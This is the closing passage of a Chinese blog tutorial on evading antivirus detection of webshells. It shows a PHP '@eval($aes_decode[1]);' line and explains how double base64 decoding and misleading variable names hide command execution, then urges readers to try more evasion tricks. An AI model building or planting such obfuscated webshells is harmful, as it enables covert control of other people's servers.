@eval($aes_decode[1]);

这里截取字符串实际上也会把注释内容截取，截取之后剩下

vTLtwREN，也就作为了username，并且去替换password

通过两次base64解码和迷惑性的自定义变量实现命令执行

0x03总结

有攻就有防，免杀手段是永远更新不完的，上文只是列举了某几个免杀的方法，更多的可以自行探索，这个领域更多还是靠奇思妙想和大胆实操，一个一个去试才能知道哪个方法会更适合自己。

wh1t3zer